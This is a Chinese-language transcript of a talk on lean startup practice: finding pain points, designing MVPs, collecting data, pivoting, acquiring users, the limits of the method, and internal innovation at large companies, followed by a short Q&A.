+保险有什么痛点？理赔绝对是个很严重的问题，对于大公司稍微好一点，但是小公司理赔绝对是个痛点。还有一个非常严重的痛点，就是保险没有感知。我以前给迅雷的高管买过一次保险，一年过后，迅雷高管的身体都还很好，也没有人理赔，保险公司也从来没找过我，听起来挺好的事。但是带来什么问题呢？第二年他让我续保的时候，我死活不续了，因为没有感知。 + +**对于创业者，把你的产品最牛的特性让用户很明确的感知到，这点是极其重要。**以前有的路由器，卖点是低辐射，按理说这应该有需求。对于家里有小孩，或者有怀孕的女主人这是很正常的需求。可为什么卖不出去呢？核心问题就是没有感知，用户怎么知道到底有没有辐射？ + +360公司在这方面就很厉害，以前杀毒软件都是在右下角老老实实的待着，没有什么感知。360就设计了一个开机启动东西，一开机弹出一个框，告诉你开机速度超过了50%的用户，底下还有一个特别大的字，让你一键加速。**他把一个完全默默无闻的东西，变成了一个强感知的东西，所以大家都觉得特别好。** + +![](/uploads/2021/01/20180714-071158_120.jpg) + +第二，常识判断。精益创业，不可能把所有不确定的东西都用MVP去验证，因为MVP有成本，10件事，9件要通过常识去判断。举个例子，有流量就能做广告，这就是常识。 + +![](/uploads/2021/01/20180714-071158_121.jpg) + +第三，头脑风暴。找一个放松的环境，大家互相之间好好聊聊，重点是领导自己少说，多让小伙伴们说。因为你是CEO，你说完之后还让别人怎么说。而且不要轻易定调，大家说完之后，切记不要立刻说同意还是不同意。让所有人都说完之后，再表达你的观点。 + +![](/uploads/2021/01/20180714-071158_122.jpg) + +第四，找到核心用户。通常谁最痛谁就是核心用户。对于迅雷，我们的核心用户是游戏玩家，因为玩游戏通常需要下载几个G的安装包。比如滴滴打车，商务人士是滴滴打车比较核心的用户，如果一年只打一次，那显然不是核心用户。 + +![](/uploads/2021/01/20180714-071158_123.jpg) + +![](/uploads/2021/01/20180714-071158_124.jpg) + +第五，用户访谈。面对面的访谈是有非常大的技巧的： + ++ 1、要面对面，而不是通过电话或者微信。因为首先电话、微信不一定能说清楚，面谈时候，大家有一些肢体语言，能够表达得更清楚；其次，通过电话、微信的话，大家会表现的很拘禁，效果就会打很大折扣。 ++ 2、保持开放讨论，不要让用户做选择题。不要问类似于：“我有这个问题，你有没有？”这种问题。 ++ 3、要一对一访谈，而不能是一群人访谈。这个道理其实更简单，人多的时候大家有从众心理，观点会人云亦云。 ++ 4、不要做问卷调查。因为问卷调查不适合做开放性的问题，我问了一个问题，你给我一个答案，我可能根据你的答案会再追问一个问题，甚至追问两个问题，这叫开放性的问题。**问卷答案通常适合于相对比较成熟的产品，而且用户量也比较大，我需要追求效率的时候**，例如给客服打分等，这可以用问卷调查的方式。 ++ 5、一定要走出办公室，而不是把别人请到你的办公室里。很多调查都是给用户钱，请到公司聊天，这样调查一下就变味了，感觉好像是在做配合，用户就不会真实地表达自己的观点了。 + +![](/uploads/2021/01/20180714-071158_125.jpg) + +第六，总结。用户访谈结束后需要做最后总结。调查用户的实际痛点跟你想象的痛点是否一致，以及用户希望的方案跟你想象的方案是否一致，核心就是验证这两个“是否”。如果一样，那就从需求探索走到用户验证，如果不一样，那就继续迭代上述过程。 + +## 用户验证 + +![](/uploads/2021/01/20180714-071158_126.jpg) + +![](/uploads/2021/01/20180714-071158_127.jpg) + +**用户验证是非常重要的环节，就是MVP的环节**。MVP的什么意思是最小可用性产品。为什么我们前期做了这么多的需求探索还要做MVP呢？用户已经都告诉你他有没有需求了，为什么还要做MVP？几个非常明显的原因： + +首先，你要观察真实的用户行为，而不是他口头说的，因为用户心目中想的东西跟实际的东西可能是千差万别的；其次，用户碍于面子可能会说一些并不准确的话，可能实际上想表达的跟他表达出来的还是有差别；再次，只有在用户实际的使用过程中才能收集到真实的用户反馈信息。 + +![](/uploads/2021/01/20180714-071158_128.jpg) + +用户验证阶段的步骤： + ++ 1、找到最需要验证的问题； ++ 2、针对这个问题设计MVP； ++ 3、收集数据、亲自体验、再次访谈； ++ 4、总结：验证假设。 + +![](/uploads/2021/01/20180714-071158_129.jpg) + +如何设计MVP？ + +![](/uploads/2021/01/20180714-071158_130.jpg) + +例子1：网上开鞋店 + +假设你是第一个在网上开鞋店的，为了验证这件事到底靠谱不靠谱，通常你要做这几件事： + ++ 1、搞定一些品牌，运动鞋你要搞定耐克、阿迪达斯等； ++ 2、搞定物流，跟顺丰、京东、四通一达聊，把他们的服务对接进来； ++ 3、搞定支付，微信、支付宝需要接进去。 + +搞定这三件事情，有可能三个月已经过去了。 + +![](/uploads/2021/01/20180714-071158_131.jpg) + +但是精益的方法怎么做呢？首先要找出一个最需要验证的问题。在网上开鞋店这件事最需要验证什么？就是消费者会不会在网上买鞋，C端会不会有这种习惯。 + +需要验证的问题是用户在不在网上买鞋，那么你的MVP就只跟这个验证有关系，所有跟这个验证没关系的功能都不要做，所以这样的话MVP就会做的非常轻巧，怎么做呢？ + +到附近的实体鞋店拍一些照片回来，放到网上，然后如果用户感兴趣了，你再跑到鞋店把鞋买下来，用户直接通过支付宝转账，手动通过顺丰给用户邮寄出去。你几乎不需要做任何产品，但是能够验证你的问题吗？能，而且非常轻巧。 + +例子2：网上卖面膜（微商） + +![](/uploads/2021/01/20180714-071158_132.jpg) + +假设你做一个卖面膜的微商，传统的步骤是：首先，花几千块钱买一个代理的资格，然后再花几千块钱进货。然后你再学习一些网络营销的技巧，比如东西怎么拍，怎么做文案，怎么聊天等，然后才开始卖面膜，这是传统的做微商的方法。 + +![](/uploads/2021/01/20180714-071158_133.jpg) + +但是这样做，基本两周或者一个月的时间就过去了，精益的微商应该怎么做呢？还是要回答第一个问题：做微商这个事，最大的风险或者你最把不准的地方是什么？应该是朋友会不会在朋友圈买面膜。确定了需要验证的问题之后，首先，花10分钟看一看你的朋友圈，找出谁已经在卖面膜了。一般朋友圈卖面膜就是九宫格，九张非常精美的图片。你可以把这九张图片扒下来，然后复制到自己的朋友圈里，看有没有人咨询。如果一个咨询的人都没有，那说明你做这件事不靠谱，你的朋友不会在朋友圈买面膜。如果问的人很多，你可以认真的思考一下，到底要不要做这个事。 这个MVP的例子真的是零成本。 + +数据收集 + +![](/uploads/2021/01/20180714-071158_134.jpg) + +MVP之后，肯定有些用户就开始用了，开始收集一些数据，有几种比较常规的数据收集方法： + +第一种，漏斗式。这种方法电商最常用，举个例子，分析有多少人看了这件商品，有多少人放到购物车里，有多少人支付，分析结果像是一个漏斗，所以叫漏斗式数据分析。 + +![](/uploads/2021/01/20180714-071158_135.jpg) + +**核心要做的是降低每一个漏斗的被筛选比例。**举个例子，为什么浏览商品的人只有40%放入购物车，说明可能用户想要的东西我们没有；为什么放入购物车最后没有生成订单，或者订单都有了为什么没有支付？是不是用户想要选择的支付方式我们没有。要找各种可能衰减的环节，把这些衰减的环节降到最低。 + +![](/uploads/2021/01/20180714-071158_136.jpg) + +第二种，切片分析。特别典型的就是留存率分析，举个例子，一个产品第一天带来的用户，到第二天、第三天持续登录的比例是多少，这是最简单的。它用来干什么呢？用来跟踪每一个版本的改进，举个例子，版本一7天之后的留存率可能是20%；版本二，发布之后，7天留存率可能提高到25%了，主要是进行这种对比的，所以每一个都是切片。 + +![](/uploads/2021/01/20180714-071158_137.jpg) + +第三种，AB测试。一件事有两种方案，但是不确定哪个方案好，就通过AB测试。我把50%的用户倒到A方案，把50%的用户倒到B方案，根据最终数据决定哪种方案好。 + +AB测试是一个非常有价值的测试，但是客观的讲，产品当中用的并不多。AB测试在广告投放上面用的最多，因为广告是显性成本，你花了多少钱，老板是非常在意的。平均一个获客成本是多少，老板会拿这个数字跟同行业做比较。通过AB测试能很快知道广告投放在哪个渠道效果好。 + +![](/uploads/2021/01/20180714-071158_138.jpg) + +第四种，灰度测试。**灰度测试比较容易理解，主要用于成熟产品**。比如微信发了一个新版本，总是会有一些人先用到，大部分人后用到，为什么会让一部分先尝鲜呢？有两个目的： + ++ 1、要确认这个功能用户是不是喜欢，所以先推给部分用户试用； ++ 2、要确定这个版本没有特别重大的bug。 + +![](/uploads/2021/01/20180714-071158_139.jpg) + +到了这个阶段，数据已经收集上来了，现在需要验证数据。通过数据来验证到底用户的需求有没有被满足，用户到底喜欢不喜欢我的产品，验证数据的时候，我觉得有几点特别重要。 + +首先，一定要避免KPI导向。因为你想要什么KPI，业务部门就会给你做出什么KPI。数据是任人打扮的“小姑娘”； + +其次，避免各种刷数据。当前各种数据，如DAU、收入、利润等都可以刷； + +再次，KPI是手段，不是目的。我们不是为了刷KPI而KPI，我们是为了更好的用户体验。 + +**亲自体验** + +![](/uploads/2021/01/20180714-071158_140.jpg) + +只有数据是不够的，必须要亲自体验。 + +法则一：数据是辅助，绝对不能替代自己的亲自体验； + +法则二：创业公司的CEO就是首席产品经理。 + +其实这个做起来不难，因为创业公司就一个产品，你还不天天用，难的是公司变得非常大了，你还能够是首席产品经理。这点我非常钦佩马化腾，大家知道腾讯有多少款产品吗？有上千款产品，据说马化腾都一一试用了。公司这么大，有各种组织、人事、考核方面的事，还能够这么关注产品，这个是极其困难的。 + +## 再次访谈 + +![](/uploads/2021/01/20180714-071158_141.jpg) + +![](/uploads/2021/01/20180714-071158_142.jpg) + +看过数据，也亲自体验过之后，还有一个步骤，我们仍然要做一些用户访谈，为什么还要做呢？ + +原因一：数据有可能是做出来的； + +原因二：你自己不是核心用户，你觉得好不代表用户觉得好，还是继续要做MVP的用户访谈。 + +我觉得马化腾有一句话说得特别好，意思是我们现在最大的担心是我们不了解年轻人的需求。这个其实是所有70后创业面临的一个非常普遍的问题，用户需求变了，特别是2C端的，很多受众可能是90后，甚至是95后。 + +总结：验证假设 + +做完以上环节之后，需要输出一个结论：到底我们的产品是否真的满足了用户的需求？没有满足的话，原因在哪？满足了是否可以进入下一个环节。 + +# 04 企业如何转型？ + +MVP之后，我们后续的流程是什么？ + +![](/uploads/2021/01/20180714-071158_144.jpg) + +![](/uploads/2021/01/20180714-071158_145.jpg) + +**首先，如果用户验证效果好，就可以大刀阔斧地推广。**逐步把要改进的功能加上，同时进行一些推广，推广完了之后又会有新的需求，又会有新的改进，会有一些新的用户反馈。这是一种比较好但很少见的情况。 + +**其次，如果用户验证效果不好，应果断放弃。**还有一种情况，用户验证结束之后完全没有需求，这种情况也比较少见。这种情况下需要重新走新的需求探索，新的用户验证，做新的MVP。 + +**最后，大部分情况处于中间状态。**用户有需求，但是数据反馈的并不好。这种通常就要逐步改进，一种情况是最终改好，那就开始走向推广；另一情况，迭代了很多版本，始终不够好，这时候要考虑转型。 + +![](/uploads/2021/01/20180714-071158_146.jpg) + +接下来要讲的就是转型的种类： + +![](/uploads/2021/01/20180714-071158_147.jpg) + +**第一，精简型。以前做全产业链，现在只做其中一个环节。**比如像亚马逊的AWS（亚马逊云），亚马逊是做电商的，在美国的“黑色星期五”这一天发现流量有一个陡升。它发现以前买那么多服务器其实都闲着，但是为了应付“黑色星期五”还不得不买。其实很多电商都有这个问题，现在亚马逊已经比较好地解决了这个问题，那为何不把这块服务独立成一块业务，服务所有的互联网公司，这就是亚马逊做这件事的契机。 + +**第二，扩充型。**比如大疆，以前专门给别的无人机做飞控系统，但是做完之后发现别的无人机做的实在是太差了，干脆自己做吧，所以就从做飞控系统开始做整机。 + +还包括技术方面的创业，很多技术型公司主要做技术服务，对于只提供技术服务的公司来讲，他们的护城河是非常浅的，必须扩充自己新的业务。 + +**第三，2C转2B。**举个最简单的例子，像智能门锁，最开始是奔着消费者去的，但是后来发现对于C端来讲，这个事不够刚需，所以现在都开始找酒店或者长租公寓合作。智能门锁可以直接推给用户一个二维码，拿二维码开锁，用着很方便，这是非常典型的2C转2B的案例。 + +![](/uploads/2021/01/20180714-071158_148.jpg) + +**第四，由自营向平台转型。**包括e袋洗，前身就是一家洗衣公司，发现只做洗衣店很难规模化，然后开始做平台，跟所有外地的洗衣店合作，大家都可以入驻；包括像京东，以前京东是全自营，现在第三方商家可以入驻。 + +**第五，盈利模式的转变。**像收费转免费，最经典的就是360杀毒软件。还包括很多硬件，对硬件来讲，完全免费肯定是不现实的，但是可以以成本价或者以略高于成本价的价格去卖，主要靠后续的互联网的运营服务盈利，这其实也是收费变免费的一种方式。 + +![](/uploads/2021/01/20180714-071158_149.jpg) + +**第六，渠道转型。**渠道转型包括代理变直销，最典型的就是百度的竞价排名，以前全部都是代理，后来把一线城市全部变直营了。 + +还包括线下变线上，现在几乎所有主流的东西都在线上可以买到，那些大品牌服装也好，鞋帽也好，在天猫、京东上都可以买到，都会有他们的品牌店，这是一个大趋势；也包括线上变线下，最早的小米手机都是在网上卖的，现在小米也开始做实体店。 + +**第七，技术转型。**以前跟迅雷竞争的那些传统的下载软件，自从迅雷推出了P2SP算法之后，他们也通通的改成我们类似的算法，必须得做技术转型，否则会被迅雷甩的越来越远。也包括以前做硬盘的公司，以前都是机械式硬盘，现在没有硬盘公司不做SSD的，因为体验差别太大了。 + +# 05 如何快速获取用户？ + +关于如何获客，推荐一本书——肖恩.埃利斯的《增长黑客》。这本书关于获客讲的更多，我今天就抛砖引玉跟大家简单讲一讲。 + +![](/uploads/2021/01/20180714-071158_151.jpg) + +**第一种叫黏着式。**2B企业使用比较多，我向你买了一套产品，这套产品也可能是CM系统，也可能是ERP系统，或者是一套人力资源管理系统。买完了之后，花了三个月实施，又花了两个月熟悉，好不容易开始上手了，你的竞争对手说，我的东西比他便宜20%，你要不要试试我的？你会怎么说，你肯定会直接拒绝，为什么呢？因为我好不容易刚上手，你让我换一个，我又得花那么多时间去实施和适应。这个对于传统的2B公司是非常常见的。因为2B业务几乎都有一个实施环节，这环节有时间成本，有上手的周期，我们管这个叫2B业务的钢柱效应。 + +**对于2B业务来讲，核心指标是损耗率。**去年有100个客户用我的产品，今年有几个不用了，如何保持业务的持续增长呢？就是要保证新客户的增长超过老客户的损耗。 + +![](/uploads/2021/01/20180714-071158_152.jpg) + +**第二，付费式。**付费式有一个关键词叫LTV（Life Time Value），就是用户这一辈子会在这个产品上花多少钱。 + +付费式增长最主要的应用领域是在游戏领域。对于端游来讲，如果花100块钱带来一个用户，这个用户在未来的一个月花了多少钱，是他们的一个核心指标。但是对于页游和手游来讲，因为本身它们的生命周期就短，所以不能用一个月来衡量，可能用一周，甚至有的用一天时间来衡量。看当天或者一周充了多少值，再决定要不要继续投，以及要不要换文案，或者换渠道。几乎所有的游戏的投放都会精确到渠道，他们的账算的是非常仔细的。 + +![](/uploads/2021/01/20180714-071158_153.jpg) + +**第三，病毒式。**所有社交网站都是通过病毒式进行传播的。Hotmail就是一个非常精巧的病毒式传播案例。我是一个Hotmail用户，我给别人发的所有邮件的正文最下边都会有一个叫“sent by Hotmail”的文字链接，你可以随时点击注册。当然现在所有的邮箱都是这么做的，但是最开始是Hotmail开始做的。 + +包括第一次使用微信时让你导通讯录，一键告诉你的小伙伴，我们可以在微信上聊天，这也属于病毒式传播。 + +再举一个例子，名片全能王。假如小张，送别人一张名片，这时小张就可能会收到一个短信，某某正在用名片全能王扫描你的名片，同时还有一个链接，你一点可能就让你去APP商店下载软件。这也是非常巧的一种方式，因为你的名片上肯定有你的手机号。 + +整体而言，社交类产品做病毒式推广是比较容易的，但工具性产品做病毒式推广相对比较麻烦。举个例子—微信支付。支付其实是一个明显的工具性产品，工具性产品指的是必须有明确的场景驱动。腾讯本质上并不是一个非常善于做工具的公司，是一个社交公司，但是微信支付为什么会火起来呢？微信用一个非常巧妙的方式—微信红包，把工具跟社交整合在一起。微信红包不仅让你绑了银行卡，还发明了一个零钱的概念，使得微信变成一个高频应用，使用频率上还超过了支付宝了。微信靠微信红包打了一个翻身仗。 + +在这里面涉及到一个参数叫病毒指数，就是平均每一位用户会带来多少位用户，如果病毒指数数大于1，就会实现快速增长。 + +![](/uploads/2021/01/20180714-071158_154.jpg) + +总结回顾，精益创业有三大步骤： + ++ 第一，需求探索。从找到痛点，到常识判断，头脑风暴，找到核心用户，到总结； ++ 第二，用户验证。找出最需要验证的问题，然后设计MVP，然后收集数据，亲自体验，再次访谈； ++ 第三，推广。推广的方法主要包括黏着式、付费式和病毒式。这是今天关于精益创业最核心的内容。 + +# 06 精益创业的误区与局限性 + +精益创业其实有很多误区和局限性 + +![](/uploads/2021/01/20180714-071158_156.jpg) + +**首先，精益是术，大势为道。**道对了，你才轮得到谈术；道错了，轮不到谈术。**创业必须要建立在一波红利之上。** + +（关于创业） + +BAT蹭到的红利是中国互联网人口的大爆发。中国互联网人口从零到现在八亿，这是BAT踩到的大势；迅雷踩准了两个红利：一个就是互联网人口的高速增长；第二个是宽带互联网的迅速普及；TMD（头条、美团、滴滴打车）踩到的红利是移动流量爆发和移动支付成熟的红利。BAT也好，TMD也好，他们成立的时间都是很接近的，BAT基本上是1998到2000年之间成立的，TMD基本上是2010年到2012年。原因其实很简单，大家都蹭到了同一波红利。这就是常说的选择比努力更重要。 + +（关于投资） + +**投资必须要投大势，投资机构最核心的投资策略是你要投什么领域。**2010年之前要投就应该投互联网，那是大势，2010年之后就应该投APP。 + +（关于人生） + +人生的机遇也特别依赖大势。我在上学的时候，我们班那些最优秀的人都出国了，而且基本上在美国一待就是20年；我们班那些学习不是那么好的，全留在国内了，有做基金的，有做互联网的，也有做房地产的。但是20年一过，发现情况大反转：国外的同学基本都是中产阶级，生活还可以，但与国内发展的同学比，生活就没有那么潇洒了，比如回国会考虑机票的价格，还要请假等。 + +这里的核心原因就是大势没赶上，在国外长期生活和工作的同学错过了一波大势，这波大势就是中国过去20年的经济发展。 + +![](/uploads/2021/01/20180714-071158_157.jpg) + +**其次，不可能每一个要验证的事情都做MVP。****MVP即使再轻巧，也有成本，往往10个需求里只有1个认为最有风险，需要做MVP，其它的就用常识去判断。**但常识也有可能是错的，换句话说，今天的常识在明天可能就是错的。比如移动充电宝今天是必需品，但明天如果发明了一个能待机7天的电池，那它就不是了。**首先你得非常依赖于常识，因为不可能都做MVP，但是你的常识有可能今天是对的，明天是错的。** + +![](/uploads/2021/01/20180714-071158_158.jpg) + +**第三，激烈竞争的时候，做MVP有可能会丧失一些机会。**两点之间直线距离最短，你要做验证，就有成本。特别对于那类时间窗口特别短的创业，如果你做精益创业，验证先花一个月，结果发现竞争对手比你跑得快，产品比你出得早，融资也比你快。在竞争非常激烈，窗口期非常短的业务里，有时候精益创业反而是低效的。 + +![](/uploads/2021/01/20180714-071158_159.jpg) + +**第四，实体性越强，开发中的精益性越小。**互联网产品因为实体性相对比较弱，所以精益的空间就很大，有很多手段能够快速验证。但是，对于很多别的品类，比如奢侈品，精益的价值就很小。做一个高档的皮包，如果给消费者一堆设计图纸，一个中间状态，对消费者是没有任何意义的。必须得把成品做出来，让用户看见，让用户摸摸体验产品的质感，用户才能决定到底买不买。 + +![](/uploads/2021/01/20180714-071158_160.jpg) + +**第五，在某些特殊情况下，向用户寻求建议的价值很小，特别是对颠覆性的，划时代的产品。**举个例子，问用户要不要一辆汽车，用户的回答一定是给我来一辆跑得快的马车，因为他不知道汽车是什么；问用户要不要一个iPad，用户会说，你能够给我一个可触摸的笔记本就行了。这种划时代的产品，其实用户心里是没有概念的。 + +还有一些需求过于明确，其实不需要从需求方面去验证，更多的是从技术方面验证。举个例子，要不要一个能待机一周的或者一个月的手机，这不需要验证，这是常识，你有我肯定要，问题是能不能做出来。 + +![](/uploads/2021/01/20180714-071158_161.jpg) + +**第六，精益创业还给大家带来一个误区，让大家只专注产品，而忽视了市场和营销。**精益创业会给我们一个错觉：只要产品做得好，其它都是随之而来的。但其实完全不是这样的，因为现在在中国任何一个领域的创业竞争都非常激烈，只做产品，不做营销绝对不行，早就过了酒香不怕巷子深的年代了。 + +![](/uploads/2021/01/20180714-071158_162.jpg) + +**第七，精益创意很容易让创业者做出放弃的决定。**中国有句名言叫：失败是成功之母，大家会认为想成功必须经过很多的失败，所以会觉得失败很正常，转型很正常。**其实很多情况下，也许有时候你坚持两下这事就成了，而你很急促的去转型，也许这事越转越不行。因为有时候放弃跟坚持没有非常明确的边界，所以精益创业好像让大家习惯了，数据稍微不好看我就得转型，这是不对的。** + +# 07 企业如何管理内部创新 + +这部分主要讲的是大公司的内部创新，一般来讲，大公司的内容创新是很困难的。内部创新如果不精益会带来什么问题呢？ + +![](/uploads/2021/01/20180714-071158_164.jpg) + ++ 1、费时； ++ 2、费钱； ++ 3、费人； ++ 4、企业的领导人丧失了信誉。 + +如何管理企业内部创新？ + +![](/uploads/2021/01/20180714-071158_165.jpg) + +**第一，团队组成。**首先要组成“敢死队”，“敢死队”有几个特点： + ++ 1、要自组织。有兴趣的人，或者相信这件事的人，欢迎参与。如果你对这件事没信心，就别参与了，不要硬把一个没信心的人拉进来，这叫自组织。 ++ 2、风险透明化。开始就要讲清楚这件事的机会在哪、风险在哪，然后再让成员做决定，到底要不要参加。我们做的是创新业务，虽然有机会，但失败也很正常，必须得有这种心态。 ++ 3、只要精英不要菜鸟。首先，精英本身就一个顶俩，人效高；其次，因为精英做过很多项目，成功的也有，失败的也有，他们的心里承受能力比较强。 如果我未来再创业，前100人我可能都不要毕业生，全要熟手。因为上手能力快，抗打击能力比较强，这是内部创新非常重要的方面。 ++ 4、保持小规模。**敢死队的标配就是三个人：一个产品，两个研发。**有人可能会问，怎么没测试呢？三个人都是测试，有人说怎么没设计师呢？UI怎么换？产品经理就是设计师，产品经理如果连画图都画不了就别当产品经理了。 + +三、五个人做不好的项目，三、五十人同样做不好。如果这件事本身就是错的，跟放多少人就没有关系。但是后果区别是很大的，三、五个人没成功，影响就是三、五个人，如果三、五十人没有成功，那影响的就是三、五十人，这对公司的影响就太大了。 + +![](/uploads/2021/01/20180714-071158_166.jpg) + +**第二，独立运作。**内部创业最烦的就是老板天天问寒问暖，动不动就问产品怎么样了，有多少数据了。其实老板问什么对你来讲都有特别大的压力，所以高层少骚扰。甚至还要远离总部，确保独立性。独立运作，对产品的转型不要做任何约束，因为本身产品就不定型，内部创业，**不确定的事情才需要内部创业**。 + +![](/uploads/2021/01/20180714-071158_167.jpg) + +**第三，内部管理。** + ++ 1、去KPI化。你要什么KPI我就做什么KPI，特别是创新业务很早期的时候，项目做什么都还不知道，这个时候的KPI其实没有什么意义。创新业务一定不要定KPI。 ++ 2、在大公司做内部创新业务，一定要做内部市场化。内部市场化简单讲就是亲兄弟，明算账。没有内部市场化的时候，你是我的兄弟部门，咱俩关系好，我找你蹭资源，直接把我拒绝的话，同事之间又有面子问题。如果你支持了我，你的资源本身也可以卖给外面，可能对你的KPI就不利了；但是内部市场化之后就无所谓了，因为你给我也好，给外面也好，对你的业绩没有任何影响，我也不需要刷脸，就可以优先提供给我。 + +内部市场化，大家通常还会在内部发行一种虚拟货币。发虚拟币有一个好处，虚拟币虽然不是人民币，但是其实代表着资源，意味着你花这10万个虚拟币的时候，你也会非常谨慎，至少不会在产品很糟糕的情况下，就去在内部做推广。 + +内部市场化有很大的优势，但是它也有明显的弊端。在打大仗的时候，这些部门容易各自为战。你要打仗，我不会拦着你打仗，但是我也不会支持你打仗。每个部门都有各自的利益，你打你的跟我没关系。怎么解决这种问题呢？必须要求CEO在打大仗的时候，能够拿出他的领导力、魄力，把所有的BG（事业部）或者所有的部门的思想全部统一，要求大家，各个部门有钱出钱，有力出力，有资源出资源，这才是正确的姿势。 + ++ 3，鼓励内部竞争。内部竞争其实是常态。比如腾讯有两个部门都在做影视，一个是腾讯的游戏部门，游戏做影视很正常，共同的IP；还有一个是腾讯的视频业务部门，视频做影视也很正常，把这个问题摆到马化腾面前，哪个部门到底做影视？马化腾的答案很简单，都做吧。所以一个叫腾讯影视，一个叫企鹅影视，哪个做得好算谁的。所以鼓励内部竞争也是一个非常重要的手段。 + +![](/uploads/2021/01/20180714-071158_168.jpg) + +**第四，团队激励。**这也是一个比较重要的问题，包括物质和精神两种激励。百度有一个内部创新奖，100万美金，奖励的都是小团队，通常五六个人。你如果得到内部创新奖了，就是李彦宏亲自给你发，不管从物质层面还是精神层面，感觉都非常的荣耀；同时，提倡重奖不罚或者重奖轻罚。创新业务本身失败是大概率事件，成功是小概率事件，如果因为创新不成功就受到惩罚，那谁还去做创新业务。 + +![](/uploads/2021/01/20180714-071158_169.jpg) + +**第五，容忍失败，甚至尊重失败。**西方社会这点做的比较好，美国南北战争，南军的总司令叫罗伯特.李将军，最后南北战争南方实际上失败了，但今天的美国人对罗伯特.李将军还是评价非常高的。很多人看过越战的电影，美国人把那些被越南俘虏的战俘，从越南救出来运回美国，这些人一下飞机，所有的美国人都认为这些人是英雄。虽然被俘虏了，但是为国效力，你就是英雄。 + +但在东方文明里，我们太以成败论英雄了。这种文明或者这种导向特别不利于创业创新。简单讲，我们要承认创新的失败，不管是创业还是在内部创新，失败是常态，企业必须对这件事有耐心。 + +![](/uploads/2021/01/20180714-071158_170.jpg) + +**第六，创新在体制内还是体制外。****体内就是以事业部的形式去管理，体外就是一个独立的公司，**这其实是一个蛮复杂的话题，跟创新业务的本质有关系，我把创新业务分为几类： + +拿百度举例子，大家都相对比较熟悉，百度有一些创新性的产品： + +![](/uploads/2021/01/20180714-071158_171.jpg) + ++ **第一类叫提高竞争力型。**像百度贴吧、百度百科、百度MP3搜索，这三类创新业务都有一个共性，本质是提升搜索质量，能够提升公司核心竞争力，这样的业务就用事务部的方式去管理。这一类是创新业务帮主营业务。 ++ **第二类叫资源输出型。**像爱奇艺、去哪儿，包括百度的电商业务、百度的O2O业务。百度作为一个流量平台，把用户的搜索的结果导给你，这就叫资源输出。但本质上，你对我的主营业务没有帮助。这一类是主营业务帮创新业务。 ++ **第三类叫毫无关联型。**网龙是一家游戏公司，做了一个91助手，是一个手机上的App Store，这两个业务实在没有关联。这一类是主营业务也帮不了创新业务，创新业务也帮不了主营业务。 + +![](/uploads/2021/01/20180714-071158_172.jpg) + +第一类一定是采用事业部管理的方式，因为这是公司的核心竞争力，核心赛道。毫无关联型，我觉得不用考虑了，因为太个案了，基本上跟老板的性格有关系。今天主要谈谈资源输出型产品。 + +资源输出型的产品，为什么一定要独立做？ + ++ **首先，资源输出型的项目，不是公司的主赛道，必然得到的支持是有限的。**所以有一句话说：大树底下好乘凉，我觉得这句话应该反过来说：大树底下根本晒不着太阳。BAT做了那么多硬件产品，全死掉了，为什么呢？不是核心赛道。一个事战略上要不重视，战术上很难有惊喜。 ++ **第二，创新业务的基因跟母公司不一样。**拿爱奇艺来讲，爱奇艺是一个视频门户，核心竞争力实际上是媒体内容和销售，但是百度又是一个技术导向的公司，这两波人在一起肯定会有一些问题，肯定没法做长。所以，百度非常明智的是给爱奇艺找了一位CEO，而且让这位CEO独立出来做，就是龚宇博士。他虽然以前没有做过视频，但他之前是焦点网的创始人，焦点网就是一个房地产的门户网站，门户网站的核心其实也是内容、媒体和销售，所以他的基因是非常相符的。 ++ **第三，组织和文化可能不相符。**百度的企业文化是一个非常经验主义的文化，李彦宏本人是北大毕业的，又在硅谷工作过。百度很多无论是社招的人还是校招的人，简历都很漂亮，各种北大清华的，所以你如果不是一个精英，你在这个公司里会待得很难受。 + +这就是为什么BAT可能是会投资一些O2O的公司，但是不会自己去做O2O，因为这种管理不是他所擅长的管理方式。两个公司的基因完全不一样，组织、文化形式也完全不一样。 + ++ **第四，资源输出型的创新在体制内很难得到很好的激励。**特别对一些老公司或者对一些公司里的老项目。**内部干活就是大锅饭，每年多发你两个月薪水，对于做创新业务的人来讲，这个其实意义并不是很大。** + +通常把一块业务独立出来的时候，会伴随着MBO（管理层回购），这个公司独立出来10个人，这10个人都要花一些钱，买一些股份，未来你们就是这家独立公司的股东。出去的这10个人，在以前老公司的股票，全部就没有了，就转换成新公司的股票了。你是新公司的主人，心态是完成不一样的。 + ++ **第五，平台惰性。**创新类的业务放在内部特别容易形成平台惰性，即容易夸大平台的价值，丧失个体的能动性。简单讲，平台很大，我的产品不需要做那么好，差不多就行了，反正平台有流量；而且做太好了这个季度虽然达标了，下个季度KPI太高了，这都叫平台惰性。 + +体外创业已经是一个重要的趋势。腾讯把他的搜索业务和电商业务全部独立出去了；百度把所有的非核心业务，或者叫资源输出型业务全部独立出去了，包括百度外卖、百度糯米、百度音乐、百度海外业务等。独立出去的目的就是为了要聚焦。这些都是过去一两年发生的一些非常实实在在的案例，说明做管理层激励现在慢慢已经成为了一种趋势，特别是对于资源输出型的项目。这种独立不仅对子公司有帮助，对母公司也有非常大的帮助。最核心的帮助是帮助母公司保持业务聚焦，保持对新事物的敏感度，同时降低管理带宽。作为一个CEO必须得明白，有些东西你要放弃。举个简单的例子，CEO两只手分别都占着一个苹果，天上掉下来一个西瓜，你也接不住。 + +![](/uploads/2021/01/20180714-071158_173.jpg) + +总结一下，一个大公司或者一个成熟公司，怎么能够始终保持创新精神，我觉得**把企业做小是保持企业创新精神的核心**。 + +我今天的分享就到这里，谢谢大家！ + +![](/uploads/2021/01/23-01.jpg) + + +Q&A + +问题：老师好，在互联网流量红利已经没有了的今天，您觉得未来创业的机会在哪里，或者下一波大势在哪里？ + +程浩：现在流量红利基本上没有了，今天在做APP的创业，投资人问你第一个问题就是你怎么获客？这是一个很实在的问题。我觉得未来有两条赛道比较重要： + +1、人工智能。互联网解决的是连接的问题，为什么互联网一来，电商第一个发展起来，因为电商的痛点就是连接问题。淘宝把这么多买家跟卖家连接在一起，同时淘宝还解决了一个信息不对称的问题，两个人都卖同样的东西，你是皇冠，他是钻石，那大家肯定都买皇冠的。 + +但对于很多实体行业，其实信息不对称和连接不是主要问题。像医疗领域，把全中国的老百姓和三甲医院的大夫都连接在一起，你觉得有意义吗？没有意义。因为在医疗这个领域，核心的问题是生产效率的问题。大夫再厉害，连接的再好，一天只能看这么多病人，大夫手术做的再好，一天只能做两台手术。医疗领域的核心问题需要人工智能来解决。所以我非常看好人工智能在下一波的发展。 + 